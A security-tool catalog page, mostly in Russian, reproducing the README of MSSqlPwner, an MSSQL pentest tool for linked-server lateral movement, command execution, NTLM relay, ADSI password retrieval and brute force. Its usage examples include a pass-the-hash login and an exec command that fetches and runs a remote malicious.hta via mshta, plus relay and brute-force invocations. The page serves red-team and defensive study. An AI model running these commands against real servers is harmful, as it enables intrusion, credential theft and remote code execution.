Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/scorpioneslabs/mssqlpwner
Атаки на ПаролиЭксплуатацияЛатеральное перемещениеСбор информацииТестирование на ПроникновениеАутентификацияRed TeamingБезопасность Баз Данных
GitHubscorpioneslabs/mssqlpwner

MSSqlPwner

Продвинутый инструмент для пентестинга MSSQL для латерального перемещения, выполнения команд, NTLM-ретрансляции и атак брутфорса через связанные серверы и различные методы аутентификации.

Репозиторий
45863627 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

MSSqlPwner

MSSqlPwner — это продвинутый и многофункциональный инструмент для пентеста, предназначенный для бесшовного взаимодействия и взлома MSSQL-серверов. Этот инструмент основан на impacket, что позволяет атакующим аутентифицироваться в базах данных с помощью паролей в открытом виде, NTLM-хешей и билетов Kerberos. С помощью MSSqlPwner пользователи могут выполнять пользовательские команды различными методами, включая пользовательскую сборку (custom assembly), xp_cmdshell и sp_oacreate (Ole Automation Procedures) и многое другое.

Инструмент начинает с рекурсивного перечисления связанных серверов и возможных олицетворений, чтобы собрать все возможные цепочки для выполнения команд.

Также инструмент MSSqlPwner может использоваться для NTLM-ретрансляции с использованием таких функций, как xp_dirtree, xp_subdirs, xp_fileexist.

Этот инструмент можно использовать для оценки бокового перемещения и исследования связанных серверов.

Если аутентифицированный пользователь MSSQL не имеет разрешения на выполнение определенных операций, инструмент может найти правильную цепочку, которая позволит выполнить команду. Например, если ваш пользователь не может выполнять команды в текущем контексте, инструмент построит цепочку, которая использует связанный сервер и подключится обратно к нашему серверу с повышенными привилегиями.

Installation

Начать работу с mssqlpwner очень просто. Вы можете сделать это, установив напрямую из репозитория:

root@kitploit:~
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

Или, используя pipx (а вам стоит это сделать), попробуйте следующее:

root@kitploit:~
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

И теперь вы можете использовать свой новый любимый инструмент:

root@kitploit:~
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive

Examples

Command execution

Bruteforce

Этот инструмент поддерживает несколько методов аутентификации, описанных ниже.

Disclaimer

Этот инструмент предназначен для специалистов по безопасности и исследователей только для целей тестирования и не должен использоваться в незаконных целях.

Functionalities:

  1. Utilities:
  • interactive: позволяет использовать инструмент в интерактивном режиме с выполнением в реальном времени.
  • enumerate: перечисляет связанные серверы и цепочки.
  • get-chain-list получает список цепочек:
    • Необязательные аргументы:
      • -filter-hostname HOSTNAME - Получить отфильтрованные результаты по конкретному имени хоста.
  • get-link-server-list получает список связанных серверов.
  • set-chain Установить ID цепочки (только для интерактивного режима!)
    • Обязательные аргументы:
      • CHAIN - ID цепочки для установки.
  • set-link-server Установить связанный сервер (только для интерактивного режима!)
    • Обязательные аргументы:
      • LINK - Связанный сервер для установки.
  • get-rev2self-queries получить запросы для возврата к SELF (только для интерактивного режима!).
  • get-adsi-provider-list получить список провайдеров ADSI.
  1. Command Execution: Выполните команды, используя следующие функции:
  • exec Выполнить команды с помощью exec на локальном сервере или на связанных серверах
    • Обязательные аргументы:
      • COMMAND - Команда для выполнения.
    • Необязательные аргументы:
      • -command_execution_method - Метод выполнения команды.
        • Поддерживаемые методы:
          • xp_cmdshell - Выполнение команд с помощью процедуры xp_cmdshell (по умолчанию).
          • sp_oacreate - Выполнение команд с помощью процедуры Ole Automation Procedure (должно использоваться как "cmd /c something").
  1. Password Retrieval:
  • retrieve-password Извлечение паролей из провайдеров ADSI.
    • Необязательные аргументы:
      • -listen-port - Порт для прослушивания (по умолчанию: 1389).
      • -adsi-provider - используемый провайдер ADSI (если не указан, будет выбран автоматически).
      • -arch - используемая архитектура (если не указана, будет выбрана автоматически).
        • Поддерживаемые архитектуры:
          • x86 - Использовать архитектуру x86.
          • x64 - Использовать архитектуру x64.
  1. NTLM Hash Stealing and Relay: Выполнить NTLM-ретрансляцию или кражу NTLM-хешей с помощью следующих функций:
  • ntlm-relay - Принудительная NTLM-ретрансляция на сервер.
    • Обязательные аргументы:
      • SMB_SERVER - SMB-сервер для ретрансляции.
    • Необязательные аргументы:
      • -relay-method - Используемый метод ретрансляции.
        • Поддерживаемые методы:
          • xp_dirtree - Использовать процедуру xp_dirtree (по умолчанию).
          • xp_subdirs - Использовать процедуру xp_subdirs.
          • xp_fileexist - Использовать процедуру xp_fileexist (в некоторых ситуациях этот модуль должен выполняться из привилегированной цепочки).
  1. Procedure execution using custom assembly:
  • custom-asm - Выполнить процедуры с использованием пользовательской сборки
    • Обязательные аргументы:
      • COMMAND - Команда/путь или запрос для использования.
    • Необязательные аргументы:
      • -procedure-name - Имя используемой процедуры (по умолчанию: execute_command).
        • Поддерживаемые процедуры:
        • execute_command - Выполнить команды с использованием пользовательской сборки (по умолчанию).
        • run_query - Выполнить запросы с использованием пользовательской сборки.
        • run_query_system_service - Выполнить запросы с использованием пользовательской сборки от имени системного пользователя (например, SqlSVC).
  • inject-custom-asm Внедрить код с помощью пользовательской сборки.
    • Обязательные аргументы:
      • file_location - Путь к файлу для внедрения.
    • Необязательные аргументы:
    • -procedure-name - Имя используемой процедуры (по умолчанию: ).
  1. Direct Queries
  • direct-query Выполнить прямые запросы
  • Обязательные аргументы:
    • QUERY - Запрос для выполнения.
  • Необязательные аргументы:
  • -query-method - Используемый метод запроса.
    • Поддерживаемые методы:
      • OpenQuery - Использовать процедуру OpenQuery (по умолчанию).
      • exec_at - Использовать процедуру exec AT.
  1. Bruteforce
  • brute Запустить подбор (может принимать билеты, хеши и пароли)
  • Обязательные аргументы:
    • TARGETS_FILE - файл, содержащий хосты и IP-адреса для подбора.
    • -ul - файл, содержащий пользователей для подбора.
  • Необязательные аргументы:
    • -pl - файл, содержащий пароли для подбора.
    • -tl - файл, содержащий билеты для подбора.
    • -hl - файл, содержащий хеши для подбора.
  • Примечания:
  • Если вы хотите использовать билеты, следует указывать имена участников-служб (SPN) в формате MSSQLSvc/hostname.domain.com:1433.
  • Если вы используете билеты, пароли или хеши указывать не требуется.
  • Если вы НЕ используете билеты, необходимо предоставить как минимум файл с паролями или файл с хешами.

General optional arguments (Should be BEFORE the chosen function):

  • -link-name - Имя используемого связанного сервера
  • -chain-id - ID используемой цепочки
  • -max-link-depth - Максимальная глубина связанных серверов (по умолчанию: 10)
  • -max-impersonation-depth - Максимальная глубина олицетворений (по умолчанию: 10)
  • -auto-yes - Автоматически отвечать "да" на все вопросы (по умолчанию: False)
  • -timeout - Тайм-аут (по умолчанию: 30)

Lateral Movement and Chain Exploration:

MSSqlPwner предоставляет возможности для оценки бокового перемещения и исследования связанных серверов. В сценариях, где текущая сессия не имеет административных привилегий, инструмент пытается найти цепочку, которая повышает его собственные привилегии через связанные серверы. Если сессия на связанном сервере имеет более высокие привилегии, инструмент может взаимодействовать со связанным сервером и выполнить обратный связанный запрос к хосту с повышенными привилегиями, обеспечивая боковое перемещение на целевой сервер.

Authentication Methods:

Поддерживается несколько методов аутентификации, включая:

  • Учётные данные Windows
  • Учётные данные MSSQL
  • Аутентификация Kerberos
  • Билеты Kerberos
  • NTLM-хеши

Инструмент адаптируется к различным сценариям и средам, проверяя эффективность механизмов аутентификации.

Выведите оценку среды MSSQL на новый уровень с помощью возможностей и универсальности MSSqlPwner. Откройте новые возможности для бокового перемещения, скрытых запросов и точных оценок безопасности с помощью инструмента MSSqlPwner.

Usage

root@kitploit:~
# Interactive mode
mssqlpwner corp.com/user:[email protected] -windows-auth interactive

# Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:[email protected] -windows-auth  -max-impersonation-depth 2 interactive


# Executing custom assembly on the current server with windows authentication and executing hostname command 
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250

# Executing direct query
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"

# Retrieving password from the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password

# Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

Thanks

  • Kim Dvash за дизайн этого невероятного логотипа.
  • Pablo Martínez за вдохновение и идею техники извлечения паролей.
  • Omri Baso за помощь вдохновением и идеями.
Скачать инструмент
  • rev2self вернуться к SELF (только для интерактивного режима!).
  • Inject